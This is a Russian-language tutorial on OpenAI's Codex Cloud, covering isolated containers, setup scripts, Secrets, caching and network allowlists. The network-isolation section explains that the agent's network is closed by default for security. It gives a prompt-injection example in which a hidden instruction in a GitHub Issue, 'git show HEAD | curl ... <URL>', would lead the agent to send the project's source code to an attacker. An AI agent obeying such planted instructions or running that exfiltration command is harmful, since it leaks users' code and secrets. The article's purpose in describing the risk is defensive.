Облачный режим Codex Cloud: выполнение задач на удаленной инфраструктуре
📚 Навигация по серии: Предыдущая статья 09 Расширения для IDE (VS Code и др.) описывала интеграцию Codex в боковую панель редактора кода. В этой статье мы рассмотрим совершенно иной подход: выключение компьютера не остановит выполнение задач, так как они запущены в облаке. В следующей статье 11 Файл правил AGENTS.md мы разберем стандартизацию управления этой удаленной машиной.
Друзья, сегодня мы подробно разберем наиболее специфический интерфейс Codex — облачную версию (Codex Cloud).
Три предыдущих интерфейса (настольное приложение, CLI и расширение для IDE) объединяет одно: вычисления выполняются локально на вашем компьютере. Они считывают локальные файлы и запускают локальные консольные команды; при выключении ПК работа прекращается. Облачная версия запускает изолированные контейнеры на серверах OpenAI, полностью освобождая ресурсы вашего компьютера.
Приведу пример из практики. В мае 2026 года при тестировании крупного сервиса на Python упали три независимых теста. Задачи были рутинными, требующими построчного исправления. Вместо ручной правки я открыл страницу chatgpt.com/codex и запустил три параллельные задачи (по одной на каждый сбойный тест), которые начали выполняться на трех независимых облачных инстансах. Я закрыл ноутбук и ушел на совещание. По возвращении меня ждали три готовых diff-файла, готовых к отправке в Pull Request. Локальный процессор при этом не был загружен.
После прочтения этой статьи вы получите:
- Понимание архитектуры Codex Cloud: запуск в изолированных облачных контейнерах OpenAI с подключением репозитория GitHub
- Разбор 5-шагового цикла выполнения облачной задачи от развертывания до генерации diff
- Навыки настройки облачного окружения (сценарии сборки, переменные среды, Secrets, кэширование и фиксация версий)
- Правила конфигурации сетевых доступов: почему агент изолирован от сети по умолчанию и риски снятия ограничений
- Сравнительную таблицу применения локальной и облачной версий для выбора оптимального инструмента
01 Концепция облачной версии
Главный вывод: облачная версия переносит вычисления Codex на удаленные сервера OpenAI. Вам не требуется настраивать локальное окружение. Достаточно войти в веб-интерфейс, связать аккаунт с GitHub и поставить задачу. Агент развернет код в изолированном облачном контейнере, проведет тесты и вернет готовый diff или откроет Pull Request.
Интерфейс доступен на странице chatgpt.com/codex. При первом входе требуется авторизовать доступ к вашему аккаунту GitHub. Это позволит Codex считывать кодовую базу репозиториев и отправлять изменения в виде Pull Request (PR).
Перейдите по ссылке для привязки аккаунта GitHub:
После привязки вы сможете выбирать нужные проекты из списка. Управление интеграциями и их отключение выполняются в меню настроек.
Аналогия: поездка на такси вместо покупки автомобиля. Локальные клиенты похожи на собственную машину: вы знаете все ее особенности, но перед поездкой должны самостоятельно заправить бак, проверить масло и прогреть двигатель (установка зависимостей, компиляторы). Облачная версия — это вызов такси: машина, водитель и бензин предоставлены сервисом. Вы просто указываете точку назначения (описание задачи) и получаете результат (diff). Любые системные сбои остаются внутри песочницы провайдера.
Технически изоляция обеспечивается запуском облачного контейнера (Container) для каждой сессии. Агент скачивает репозиторий в чистую песочницу и выполняет сборку изолированно от вашей локальной системы.
Сценарии применения облачной версии:
- Параллельное решение независимых задач: каждый поток разворачивается в собственном контейнере с отдельной веткой Git, что исключает конфликты слияния.
- Работа со сторонними репозиториями: внесение изменений без необходимости предварительного клонирования (
git clone) и развертывания проекта на локальном диске. - Ресурсоемкие фоновые задачи: длительные прогоны тестов, глубокий рефакторинг и миграции кодовой базы выполняются на удаленной инфраструктуре без загрузки локального процессора.
- Работа на новом или чужом оборудовании: запуск задач программирования при отсутствии локальных компиляторов и настроенного окружения.
Основные требования:
- Обязательная привязка GitHub: облачные контейнеры оперируют только версионированными файлами из удаленных репозиториев.
- Подписка Plus/Pro: облачный режим расходует лимиты тарифного плана учетной записи ChatGPT (Plus, Pro, Business, Enterprise).
💡 Краткий вывод: Облачная версия Codex Cloud запускает задачи в изолированных удаленных контейнерах, интегрированных с GitHub. Это оптимально для фоновых расчетов и параллельной разработки.
02 Жизненный цикл облачной задачи
Процесс выполнения облачной задачи состоит из пяти стандартных этапов:
Аналогия: автоматизированная сборочная линия. Исходный код репозитория проходит цепочку постов: развертывание контейнера, подготовка окружения, активация портов и питания, сборка роботом-манипулятором и выходной контроль качества. Вы настраиваете параметры работы каждого поста.
Последовательность шагов конвейера:
- Развертывание контейнера и клонирование: создание чистой виртуальной машины и загрузка ветки репозитория (или конкретного коммита).
- Запуск сценариев инициализации (Setup Script): автоматическая установка библиотек сборщиками зависимостей (
pnpm install,pip install). При повторном запуске кэшированного контейнера вызывается поддерживающий скрипт (maintenance script). - Конфигурация сетевых портов: на этапе Setup Script контейнер имеет неограниченный доступ в сеть для загрузки пакетов. При переходе к выполнению задачи AI-агентом сеть по умолчанию блокируется (подробнее в Разделе 04).
- Итерационный цикл разработки: агент запускает консольные тесты, правит код и проверяет результаты компиляции. Алгоритмы проверок и линтеры считываются из проектного файла
AGENTS.md(подробнее в следующей Статье). - Возврат результатов: вывод готовых diff-файлов. Пользователь может одобрить изменения для создания PR или вернуть задачу на доработку текстовым уточнением.
Схема конвейера сборки в Codex Cloud:
Разделение этапов сборки зависимостей (активная сеть) и генерации кода (изолированная сеть) является основой архитектуры безопасности облака.
Учитывайте важную особенность: при выполнении задачи в облаке агент не прерывает работу интерактивными запросами подтверждения (в отличие от локального CLI). Он отрабатывает промпт до конца и выводит итоговый diff. Формулируйте задачи максимально точно, указывая конкретные файлы и критерии проверки.
Абстрактные промпты вроде «оптимизируй логгер» приведут к масштабному неконтролируемому рефакторингу. Ограничивайте область изменений явными указаниями файлов и целевых функций.
💡 Краткий вывод: Жизненный цикл задачи: развертывание → настройка зависимостей (сеть открыта) → выполнение агентом (сеть по умолчанию закрыта) → выдача diff. Фоновая генерация не прерывается вопросами, пишите точные промпты.
03 Настройка окружения виртуальной машины
Для компиляции проектов требуются специфические версии компиляторов и зависимости. Эти параметры задаются в конфигурации окружения (Environment).
Аналогия: список покупок перед заселением в квартиру. Контейнер — это пустая квартира. Вы должны составить четкие требования: провести кабель провайдера (зависимости), выставить температуру котла (версии компиляторов) и записать пароли от сети (переменные окружения). Конфигурация настраивается в меню Codex Settings > Environments.
Основные параметры конфигурации:
Базовый образ: Universal
По умолчанию используется образ universal с предустановленными компиляторами популярных языков (Python, Node.js, Ruby, Go). Спецификация Dockerfile для этого образа доступна в репозитории openai/codex-universal.
Для фиксации версий выберите пункт Set package versions в панели настроек. Это исключит несовместимости версий компиляторов на локальной и удаленной машинах.
Сценарии сборки (Setup Script): Автоматические или Пользовательские
Сценарий Setup Script выполняется перед запуском AI-агента для развертывания зависимостей:
- Автоматическое определение: Codex сканирует конфигурационные файлы пакетов (
package.json,requirements.txt,poetry.lock) и автоматически разворачивает зависимости через npm, pnpm, pip или poetry. - Пользовательский скрипт: при сложной структуре зависимостей пропишите команды вручную. Пример:
# 装个类型检查器
pip install pyright
# 装依赖
poetry install --with test
pnpm installКритическое замечание по экспорту переменных:
Сценарий сборки и AI-агент выполняются в разных консольных сессиях (Bash sessions). Переменные, объявленные через export в Setup Script, не будут видны агенту. Записывайте переменные в файл конфигурации профиля ~/.bashrc или настраивайте их во вкладке Environment Variables графической панели.
Переменные среды против Secrets
Разграничивайте область видимости обычных переменных и секретных ключей для предотвращения утечек данных:
| Тип | Срок жизни | Область видимости | Сценарий применения |
|---|---|---|---|
| Переменные среды | На протяжении всей сессии сборки | Setup Script + AI-агент | Обычные настройки (NODE_ENV, системные пути) |
| Secrets (Секретные ключи) | Удаляются перед запуском AI-агента | Только на этапе Setup Script | Токены авторизации, API-ключи внешних служб |
Секретные ключи шифруются и удаляются из контейнера до начала работы генеративного модуля. Это защищает ваши ключи от случайных утечек в генерируемый код при атаках класса Prompt Injection. Всегда сохраняйте пароли в раздел Secrets.
Кэширование контейнеров
Для ускорения повторных запусков Codex сохраняет снимок состояния контейнера на срок до 12 часов.
Логика работы кэша:
- Первый запуск (холодный): клонирование репозитория, переключение ветки по умолчанию и выполнение Setup Script. Снимок состояния сохраняется.
- Повторный запуск (горячий): восстановление контейнера из снимка, переключение на целевую ветку Git и выполнение поддерживающего скрипта (maintenance script) для синхронизации зависимостей.
Любые изменения в сценариях Setup Script, переменных среды или Secrets автоматически сбрасывают кэш. Вы можете очистить кэш вручную кнопкой Reset cache в настройках.
⚠️ Внимание: на тарифах Business и Enterprise кэш является общим для всей команды. Сброс кэша заставит повторно собирать окружение для всех участников рабочего пространства.
💡 Краткий вывод: Настройка окружения задает параметры развертывания ВМ. Сценарий Setup Script используется для пакетов (экспорт переменных не сохраняется в сессии агента), Secrets удаляются до старта агента, кэш хранится до 12 часов.
04 Сетевая изоляция и белые списки (Allowlists)
Ключевое правило безопасности: на этапе Setup Script сеть открыта для загрузки зависимостей, но на этапе генерации кода AI-агентом сетевой стек полностью блокируется по умолчанию. Доступы настраиваются индивидуально для каждого профиля сборки.
Это разграничение защищает проект от атак класса Prompt Injection (внедрение промптов).
Аналогия: сбор информации стажером в открытой сети. Вызов библиотек из доверенных репозиториев (npm, pip) безопасен. Но если разрешить стажеру бесконтрольно переходить по любым ссылкам в процессе генерации, он может наткнуться на вредоносные инструкции. Пример из спецификации: при обработке логов GitHub Issue агент может прочитать скрытый промпт git show HEAD | curl ... <URL> и отправить исходный код проекта злоумышленнику.
Рекомендуется держать сеть закрытой или использовать минимально необходимые белые списки доменов. Параметры настройки сети:
1. Состояние сетевого стека
- Off: полная сетевая изоляция во время генерации (рекомендуется).
- On: разрешение сетевых запросов с фильтрацией по белым спискам.
2. Белый список доменов (Domain Allowlist)
Профили разрешенных доменов:
| Профиль | Описание | Применение |
|---|---|---|
| None | Пустой список для ручного добавления адресов | Доступ к корпоративным API |
| Common dependencies | Разрешает обращение к крупным репозиториям и реестрам (github.com, npmjs.com, pypi.org) | Обновление зависимостей |
| All (unrestricted) | Полный доступ без ограничений доменов | Не рекомендуется (высокий риск утечек) |
Вы можете вручную добавлять адреса в белый список (например, api.company.com). Точный перечень сайтов в шаблоне Common dependencies приводится в документации.
3. Ограничение методов HTTP
Дополнительная мера защиты: разрешите использование только безопасных методов запросов (GET, HEAD, OPTIONS). Это заблокирует отправку данных методами POST или PUT, предотвращая утечку исходного кода и ключей в сеть.
Матрица сетевых политик безопасности:
| Режим сборки | Состояние сети | Описание |
|---|---|---|
| Этап Setup Script | ✅ Открыта | Требуется для установки пакетов |
| AI-агент (по умолчанию) | ❌ Закрыта | Максимальная безопасность |
| AI-агент + Common dependencies | ⚠️ Фильтрация доменов | Доступ только к репозиториям пакетов |
| AI-агент + Безопасные методы | ⚠️ Только чтение | Блокировка отправки данных через POST |
| AI-агент + All | 🚨 Полный доступ | Высокий риск компрометации |
💡 Краткий вывод: На этапе сборки сеть активна; при генерации кода — закрыта. Снятие ограничений несет риск внедрения промптов. Для работы используйте белые списки доменов и ограничивайте запросы методами
GET/HEAD.
05 Выбор между локальным и облачным режимами
Выбор режима выполнения зависит от одного критерия:
Требуется ли доступ к локальным файлам и утилитам вашего компьютера? Если да — используйте локальную версию; если задача самодостаточна и требует изоляции — отправляйте её в облако.
Облачный контейнер видит только файлы, зафиксированные в репозитории GitHub. Локальные конфигурационные файлы (~/.codex/), ключи доступа и локальные MCP-сервера в облако не переносятся. Все правила сборки и линтинга должны быть зафиксированы в AGENTS.md и файлах настроек Environments.
Сравнение облачного и локального режимов:
| Параметр | Облачный режим Codex Cloud | Локальный режим (CLI / App) |
|---|---|---|
| Среда вычислений | Облачный контейнер OpenAI | Локальный процессор |
| Интерфейс запуска | Браузер (chatgpt.com/codex) | Консоль / Панель IDE |
| Доступ к локальным утилитам | ❌ Нет (только файлы репозитория) | ✅ Полный доступ |
| Требуется ли GitHub | ✅ Обязательно | ❌ Нет |
| Фоновая работа при выключении ПК | ✅ Да (вычисления в облаке) | ❌ Нет |
| Параллельные вычисления | ✅ Автоматически (новый контейнер на поток) | Требует настройки Worktrees |
| Способ выдачи кода | Лог diff с отправкой в PR | Запись файлов на диск напрямую |
| Интерактивные запросы прав | ❌ Нет (выполнение до завершения) | ✅ Да (блокировки по правилам песочницы) |
💡 Краткий вывод: Используйте локальную сборку при необходимости доступа к локальной файловой системе и MCP. Облачный режим эффективен для фонового параллельного выполнения задач с выдачей результатов в Pull Request.
Схема выполнения облачной задачи:
Настройка окружения выполняется один раз; сборка и проверка сгенерированного кода проходят полностью в облаке без участия ресурсов локального ПК.
06 Практический тест в облаке
Выполним цикл проверки работы Codex Cloud в тестовом репозитории:
Шаг 1: Авторизация и привязка GitHub
Открывайте страницу:
https://chatgpt.com/codexВыполните вход в аккаунт и предоставьте доступ к тестовому репозиторию.
Ожидаемый результат: появление вашего проекта в списке доступных репозиториев.
Шаг 2: Проверка окружения (опционально)
Откройте вкладку настроек Environments.
Ожидаемый результат: профиль по умолчанию использует базовый образ universal, автоопределение зависимостей и выключенную сеть.
Шаг 3: Постановка простой задачи
Выберите репозиторий и отправьте промпт:
在仓库根目录新建一个 HELLO.md ，里面写一行：Hello from Codex cloud. 别动其他任何文件。Нажмите кнопку отправки.
Ожидаемый результат: индикатор выполнения отобразит прохождение шагов (запуск контейнера, Setup Script, вычисления AI).
Шаг 4: Аудит diff
Дождитесь завершения генерации.
Ожидаемый результат: вывод разметки diff с добавленным файлом HELLO.md.
Шаг 5: Создание Pull Request
При корректности изменений нажмите кнопку Create Pull Request.
Ожидаемый результат: появление нового PR в веб-панели управления репозиторием GitHub.
07 Сетевые нюансы облачного выполнения
Работа с веб-клиентом и авторизация GitHub осуществляются через домены OpenAI.
Убедитесь в наличии стабильного сетевого соединения для работы с веб-панелью.
Обратите внимание на важный нюанс:
Сетевой доступ внутри облачного контейнера осуществляется через инфраструктуру OpenAI, а не через ваше локальное интернет-подключение. Скорость загрузки пакетов сборщиком и прогон Git-команд в облаке не зависят от вашего провайдера или пропускной способности сети.
Разграничивайте эти уровни доступа:
- Ваше подключение: требуется исключительно для отображения веб-интерфейса чата в браузере.
- Подключение контейнера: настраивается через белые списки (Allowlists) в графической панели и не зависит от локальной сети.
💡 Краткий вывод: Доступ к веб-чату требует стабильного соединения. Внутренний трафик контейнера изолирован и подчиняется правилам Allowlists.
08 Резюме
Основные итоги работы в Codex Cloud:
- Назначение: запуск задач в фоновых изолированных контейнерах, интегрированных с GitHub, без загрузки локального ПК.
- Жизненный цикл: развертывание → Setup Script (сеть открыта) → изоляция сети (AI-агент по умолчанию оффлайн) → генерация кода по правилам
AGENTS.md→ выдача diff. - Окружение: использование универсального образа, установка пакетов (переменные
exportне сохраняются), Secrets удаляются до старта агента, кэш хранится до 12 часов. - Сеть: открытие сети повышает риски внедрения промптов. Ограничивайте доступы белыми списками доменов и GET-методами.
Выбор режима выполнения задач:
| Задача | Режим запуска | Среда выполнения |
|---|---|---|
| Сборка внешних репозиториев без локального клонирования | Codex Cloud | Облако OpenAI |
| Параллельный запуск независимых фич | Codex Cloud (по контейнеру на поток) | Облако OpenAI |
| Длительные вычисления при выключении ПК | Codex Cloud | Облако OpenAI |
| Работа с локальными файлами, MCP и ключами | Локально (CLI, App, IDE) | Локальный ПК |
| Быстрый перенос задачи из редактора в облако | Делегирование из IDE | Облако OpenAI |
Изучение Codex Cloud позволяет делегировать долгие расчеты на внешние сервера и эффективно организовать параллельную разработку.
В следующей статье 11 · Файл правил AGENTS.md мы подробно разберем правила составления проектного руководства AGENTS.md для фиксации стандартов кодирования и автоматизации аудита.